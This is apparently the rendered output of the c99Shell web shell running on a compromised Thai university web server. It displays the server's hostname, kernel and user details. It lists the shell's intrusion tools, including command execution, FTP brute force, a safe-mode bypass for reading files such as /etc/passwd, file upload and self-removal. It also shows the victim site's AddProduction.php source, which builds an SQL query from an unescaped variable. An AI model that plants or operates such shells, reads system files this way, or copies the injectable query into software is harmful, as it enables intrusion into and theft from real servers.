!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Research_depart/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddProduction.php (7.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user")&&session_is_registered("Priority"))
 {
 
$Username $valid_user;
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
ConnectDB();
$Username $valid_user;
 
$sql ="SELECT * FROM personal_tb WHERE Teacher_code='$Teacher_code'";
 
$result mysql_query($sql) or die("Cannot Select").mysql_error();
 
$rs mysql_fetch_array($result);

?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<table width="843" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="843" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Edu_Menu.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="SearchRes.php">ค้นหางานวิจัย</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /> เพิ่มข้อมูลงานวิจัย</font></legend>
            <label>
  <form id="form1" name="form1" method="post" action="InsertProduction.php">
    <table width="88%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#E5E5E5" style="border:1px solid gray" size="12">
      <tr bgcolor="#D5F0F9">
        <td colspan="3"><div align="center"><font color="#000000" size="4" face="Tahoma"><strong>เพิ่มผลงานการผลิต 
          และ เผยแพร่ </strong></font></div></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td bgcolor="#eeeeee"><div align="center"><font size="2" face="Tahoma">ชื่อ-นามสกุล</font>&nbsp;</div></td>
        <td bordercolor="#FEEDF9"><div align="center"><font color="#FF0000" size="4" face="Tahoma"></font></div></td>
        <td bordercolor="#F2DEFE"><div align="left"><font color="#003366" size="2" face="Tahoma"> <strong> &nbsp;<? echo $rs[First_name] ;?>&nbsp;<? echo $rs[Teacher_name] ;?> &nbsp;&nbsp;<? echo $rs[Teacher_lastname] ;?> </strong></font></div></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td width="27%"><div align="center"><font size="2" face="Tahoma">ชื่อผลงาน</font></div></td>
        <td width="2%" bordercolor="#FEEDF9"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
        <td width="71%" bordercolor="#F2DEFE"><input name="Product_name" type="text" class="input" id="Product_name" size="50"></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td height="52"><div align="center"><font size="2" face="Tahoma">ประเภทผลงาน</font></div></td>
        <td bordercolor="#FEEDF9">&nbsp;</td>
        <td bordercolor="#F2DEFE"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
            <tr>
              <td width="50%"><font size="2" face="Tahoma">
                <input type="radio" name="Product_type" value="เอกสารประกอบการสอน" />
                เอกสารประกอบการสอน</font></td>
              <td width="50%"><font size="2" face="Tahoma">
                <input type="radio" name="Product_type" value="เอกสารประกอบคำบรรยาย" />
                เอกสารประกอบคำบรรยาย </font></td>
            </tr>
            <tr>
              <td><font size="2" face="Tahoma">
                <input type="radio" name="Product_type" value="สื่อการเรียนการสอน" />
                สื่อการเรียนการสอน </font></td>
              <td><font size="2" face="Tahoma">
                <input type="radio" name="Product_type" value="การผลิตตำรา" />
                การผลิตตำรา </font></td>
            </tr>
            <tr>
              <td><font size="2" face="Tahoma">
                <input type="radio" name="Product_type" value="สิ่งประดิษฐ์" />
                สิ่งประดิษฐ์</font></td>
              <td><font size="2" face="Tahoma">
                <input type="radio" name="Product_type" value="เอกสารวิชาการ" />
                เอกสารวิชาการ </font></td>
            </tr>
        </table></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td><div align="center"><font color="#000000" size="2" face="Tahoma">ปีการศึกษา</font></div></td>
        <td bordercolor="#FEEDF9">&nbsp;</td>
        <td bordercolor="#F2DEFE"><input name="Term" type="text" id="Term" size="10" /></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td><div align="center"><font size="2" face="Tahoma">วัน/เดือน/ปี เริ่มผลิต</font></div></td>
        <td bordercolor="#FEEDF9"><font size="2" face="Tahoma">&nbsp;</font></td>
        <td bordercolor="#F2DEFE"><div align="left">
            <select name="mDate" id="mDate" class="select">
              <? getDay1to31();?>
            </select>
          -
          <select name="mMonth" id="mMonth" class="select">
            <? getThaiMonth();?>
          </select>
          -
          <input name="mYear" type="text" class="input1" id="mYear" size="5" />
          <font size="2" face="Tahoma">&nbsp;แล้วเสร็จ
            <select name="mDate2" id="mDate2" class="select">
              <? getDay1to31();?>
            </select>
            -
            <select name="mMonth2" id="mMonth2" >
              <? getThaiMonth();?>
            </select>
            -
            <input name="mYear2" type="text" size="5" class="input1" />
          </font></div></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td height="26"><div align="center"><font size="2" face="Tahoma">การเผยแพร่</font></div></td>
        <td bordercolor="#FEEDF9">&nbsp;</td>
        <td bordercolor="#F2DEFE"><input name="Propagate " type="text" id="Propagate " size="50" class="input1" /></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td height="24"><div align="center"><font size="2" face="Tahoma">แหล่งงบประมาณ </font> </div></td>
        <td bordercolor="#FEEDF9">&nbsp;</td>
        <td bordercolor="#F2DEFE"><font color="#000000" size="2" face="Tahoma">
          <input name="Fund_resource" type="text" class="input1" id="Fund_resource" size="30">
          </font><font size="2" face="Tahoma">งบประมาณ</font><font color="#000000" size="2" face="Tahoma">
          <input name="Fund" type="text" class="input1" id="Fund">
            บาท </font></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td height="58"><div align="center"><font size="2" face="Tahoma">ประโยชน์ของผลงาน</font></div></td>
        <td bordercolor="#FEEDF9">&nbsp;</td>
        <td bordercolor="#F2DEFE"><textarea name="Benefit" cols="50" rows="5" id="Benefit" class="input1"></textarea></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td><div align="center"><font size="2" face="Tahoma">การนำไปใช้อ้างอิง่</font></div></td>
        <td bordercolor="#FEEDF9">&nbsp;</td>
        <td bordercolor="#F2DEFE"><textarea name="Use_ref" cols="50" rows="5" class="input1" id="Use_ref"></textarea></td>
      </tr>
      <tr bgcolor="#D5F0F9">
        <td colspan="3"><div align="center">
            <input type="hidden" name="Teacher_code" value="<? echo $rs[Research_code]?>" />
            <input type="hidden" name="Teacher_code" value="<? echo $rs[Teacher_code]?>" />
            <input type="submit" name="Submit" value="  เพิ่มข้อมูล  " class="button" />
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
          <input type="reset" name="Submit2" value="   เริ่มใหม่   " class="button" />
        </div></td>
      </tr>
    </table>
  </form>
          </fieldset>
        <br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0114 ]--